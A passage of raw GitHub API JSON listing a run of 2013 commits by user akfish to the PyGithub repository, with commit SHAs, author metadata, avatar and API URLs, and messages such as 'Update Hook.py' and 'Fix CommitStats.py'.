jacquev6/PyGithub/commit/ac1585ee13f13cfa20fd79a78c4643de815607fd"}]},{"sha":"12387505e2fbf25ceae63f169b13d57d86b80282","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T06:05:10Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T06:05:10Z"},"message":"Update Notification.py","tree":{"sha":"2a05533d50e9e0b9173fa9030bad2259f9a8d24b","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/2a05533d50e9e0b9173fa9030bad2259f9a8d24b"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/12387505e2fbf25ceae63f169b13d57d86b80282","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/12387505e2fbf25ceae63f169b13d57d86b80282","html_url":"https://github.com/jacquev6/PyGithub/commit/12387505e2fbf25ceae63f169b13d57d86b80282","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/12387505e2fbf25ceae63f169b13d57d86b80282/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"d6170e36de261f8107cdc40e1e6e3c91bac0eb3d","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d6170e36de261f8107cdc40e1e6e3c91bac0eb3d","html_url":"https://github.com/jacquev6/PyGithub/commit/d6170e36de261f8107cdc40e1e6e3c91bac0eb3d"}]},{"sha":"6e11aa9cf041be25691971476bc474facb1bd1f1","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T06:07:10Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T06:07:10Z"},"message":"Update Permissions.py","tree":{"sha":"1653ca5e502dacc579e8489c1ff967970e95a68f","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/1653ca5e502dacc579e8489c1ff967970e95a68f"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/6e11aa9cf041be25691971476bc474facb1bd1f1","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6e11aa9cf041be25691971476bc474facb1bd1f1","html_url":"https://github.com/jacquev6/PyGithub/commit/6e11aa9cf041be25691971476bc474facb1bd1f1","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6e11aa9cf041be25691971476bc474facb1bd1f1/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"12387505e2fbf25ceae63f169b13d57d86b80282","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/12387505e2fbf25ceae63f169b13d57d86b80282","html_url":"https://github.com/jacquev6/PyGithub/commit/12387505e2fbf25ceae63f169b13d57d86b80282"}]},{"sha":"dcb6874745b2e0466017f94be745ba35b72a3748","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T06:09:11Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T06:09:11Z"},"message":"Fix CommitStats.py","tree":{"sha":"9191d147b43f13eee33b585441a4573028534a02","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/9191d147b43f13eee33b585441a4573028534a02"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/dcb6874745b2e0466017f94be745ba35b72a3748","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/dcb6874745b2e0466017f94be745ba35b72a3748","html_url":"https://github.com/jacquev6/PyGithub/commit/dcb6874745b2e0466017f94be745ba35b72a3748","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/dcb6874745b2e0466017f94be745ba35b72a3748/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"6e11aa9cf041be25691971476bc474facb1bd1f1","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6e11aa9cf041be25691971476bc474facb1bd1f1","html_url":"https://github.com/jacquev6/PyGithub/commit/6e11aa9cf041be25691971476bc474facb1bd1f1"}]},{"sha":"deb0514b5e7364b307a611797681da8ddf6db5c1","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T06:10:37Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T06:10:37Z"},"message":"Update Hook.py","tree":{"sha":"2a46cd5f6c33398d1b347912bcdc596fa0b66d0d","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/2a46cd5f6c33398d1b347912bcdc596fa0b66d0d"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/deb0514b5e7364b307a611797681da8ddf6db5c1","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/deb0514b5e7364b307a611797681da8ddf6db5c1","html_url":"https://github.com/jacquev6/PyGithub/commit/deb0514b5e7364b307a611797681da8ddf6db5c1","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/deb0514b5e7364b307a611797681da8ddf6db5c1/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"dcb6874745b2e0466017f94be745ba35b72a3748","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/dcb6874745b2e0466017f94be745ba35b72a3748","html_url":"https://github.com/jacquev6/PyGithub/commit/dcb6874745b2e0466017f94be745ba35b72a3748"}]},{"sha":"c7aeaddfa8897ed9a23764bbb4beda29403ab413","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T06:13:14Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T06:13:14Z"},"message":"Fix PullRequestMergeStatus.py","tree":{"sha":"e4f7ae5aa275ca50cbc0e52dcb49ad224355f0af","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/e4f7ae5aa275ca50cbc0e52dcb49ad224355f0af"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/c7aeaddfa8897ed9a23764bbb4beda29403ab413","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c7aeaddfa8897ed9a23764bbb4beda29403ab413","html_url":"https://github.com/jacquev6/PyGithub/commit/c7aeaddfa8897ed9a23764bbb4beda29403ab413","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c7aeaddfa8897ed9a23764bbb4beda29403ab413/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"deb0514b5e7364b307a611797681da8ddf6db5c1","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/deb0514b5e7364b307a611797681da8ddf6db5c1","html_url":"https://github.com/jacquev6/PyGithub/commit/deb0514b5e7364b307a611797681da8ddf6db5c1"}]},{"sha":"b2c4519c06cf541ae327d80b0b1361e2698e23ae","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T06:15:09Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T06:15:09Z"},"message":"Update PulllRequestPart.py","tree":{"sha":"476f8bc503a98475a13bcf929c9af2034044be23","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/476f8bc503a98475a13bcf929c9af2034044be23"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/b2c4519c06cf541ae327d80b0b1361e2698e23ae","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/b2c4519c06cf541ae327d80b0b1361e2698e23ae","html_url":"https://github.com/jacquev6/PyGithub/commit/b2c4519c06cf541ae327d80b0b1361e2698e23ae","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/b2c4519c06cf541ae327d80b0b1361e2698e23ae/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"c7aeaddfa8897ed9a23764bbb4beda29403ab413","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c7aeaddfa8897ed9a23764bbb4beda29403ab413","html_url":"https://github.com/jacquev6/PyGithub/commit/c7aeaddfa8897ed9a23764bbb4beda29403ab413"}]},{"sha":"4a1a1d406896ebd96315fcf9092ab68dfb7a7194","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T06:19:31Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T06:19:31Z"},"message":"Update Plan.py","tree":{"sha":"68e82c7745d78fca9ac29501be72a3613f95876a","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/68e82c7745d78fca9ac29501be72a3613f95876a"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/4a1a1d406896ebd96315fcf9092ab68dfb7a7194","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4a1a1d406896ebd96315fcf9092ab68dfb7a7194","html_url":"https://github.com/jacquev6/PyGithub/commit/4a1a1d406896ebd96315fcf9092ab68dfb7a7194","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4a1a1d406896ebd96315fcf9092ab68dfb7a7194/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"b2c4519c06cf541ae327d80b0b1361e2698e23ae","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/b2c4519c06cf541ae327d80b0b1361e2698e23ae","html_url":"https://github.com/jacquev6/PyGithub/commit/b2c4519c06cf541ae327d80b0b1361e2698e23ae"}]},{"sha":"a1b65636df9408d93b115a3533a091e3e9cc68c4","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T06:25:07Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T06:25:07Z"},"message":"Clean up. NonCompletableGithubObject refactoring resolved.","tree":{"sha":"eec00d808853aee3bf03f8e705fbf49bd32b1dab","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/eec00d808853aee3bf03f8e705fbf49bd32b1dab"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/a1b65636df9408d93b115a3533a091e3e9cc68c4","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a1b65636df9408d93b115a3533a091e3e9cc68c4","html_url":"https://github.com/jacquev6/PyGithub/commit/a1b65636df9408d93b115a3533a091e3e9cc68c4","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a1b65636df9408d93b115a3533a091e3e9cc68c4/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"4a1a1d406896ebd96315fcf9092ab68dfb7a7194","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4a1a1d406896ebd96315fcf9092ab68dfb7a7194","html_url":"https://github.com/jacquev6/PyGithub/commit/4a1a1d406896ebd96315fcf9092ab68dfb7a7194"}]},{"sha":"ca6189c3c94fac963811342ce9f77104d0b5774b","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T06:49:20Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T06:49:20Z"},"message":"Change CompletableGithubObject.__init__ without breaking build.","tree":{"sha":"a8fd06251014ac406f89342e2ee118fe5e5e562c","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/a8fd06251014ac406f89342e2ee118fe5e5e562c"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/ca6189c3c94fac963811342ce9f77104d0b5774b","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ca6189c3c94fac963811342ce9f77104d0b5774b","html_url":"https://github.com/jacquev6/PyGithub/commit/ca6189c3c94fac963811342ce9f77104d0b5774b","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ca6189c3c94fac963811342ce9f77104d0b5774b/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"a1b65636df9408d93b115a3533a091e3e9cc68c4","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a1b65636df9408d93b115a3533a091e3e9cc68c4","html_url":"https://github.com/jacquev6/PyGithub/commit/a1b65636df9408d93b115a3533a091e3e9cc68c4"}]},{"sha":"2f31828502c95fef62970db7d4ca49fa8b4b8e0d","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T07:04:34Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T07:04:34Z"},"message":"Update RepositoryKey.py","tree":{"sha":"f1903010376227506f579412a3356276a2ef3a6f","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/f1903010376227506f579412a3356276a2ef3a6f"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/2f31828502c95fef62970db7d4ca49fa8b4b8e0d","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2f31828502c95fef62970db7d4ca49fa8b4b8e0d","html_url":"https://github.com/jacquev6/PyGithub/commit/2f31828502c95fef62970db7d4ca49fa8b4b8e0d","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2f31828502c95fef62970db7d4ca49fa8b4b8e0d/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"ca6189c3c94fac963811342ce9f77104d0b5774b","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ca6189c3c94fac963811342ce9f77104d0b5774b","html_url":"https://github.com/jacquev6/PyGithub/commit/ca6189c3c94fac963811342ce9f77104d0b5774b"}]},{"sha":"28a49b94d87408592199ffa018e8c1b3bd9d2a77","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T07:06:21Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T07:06:21Z"},"message":"Update 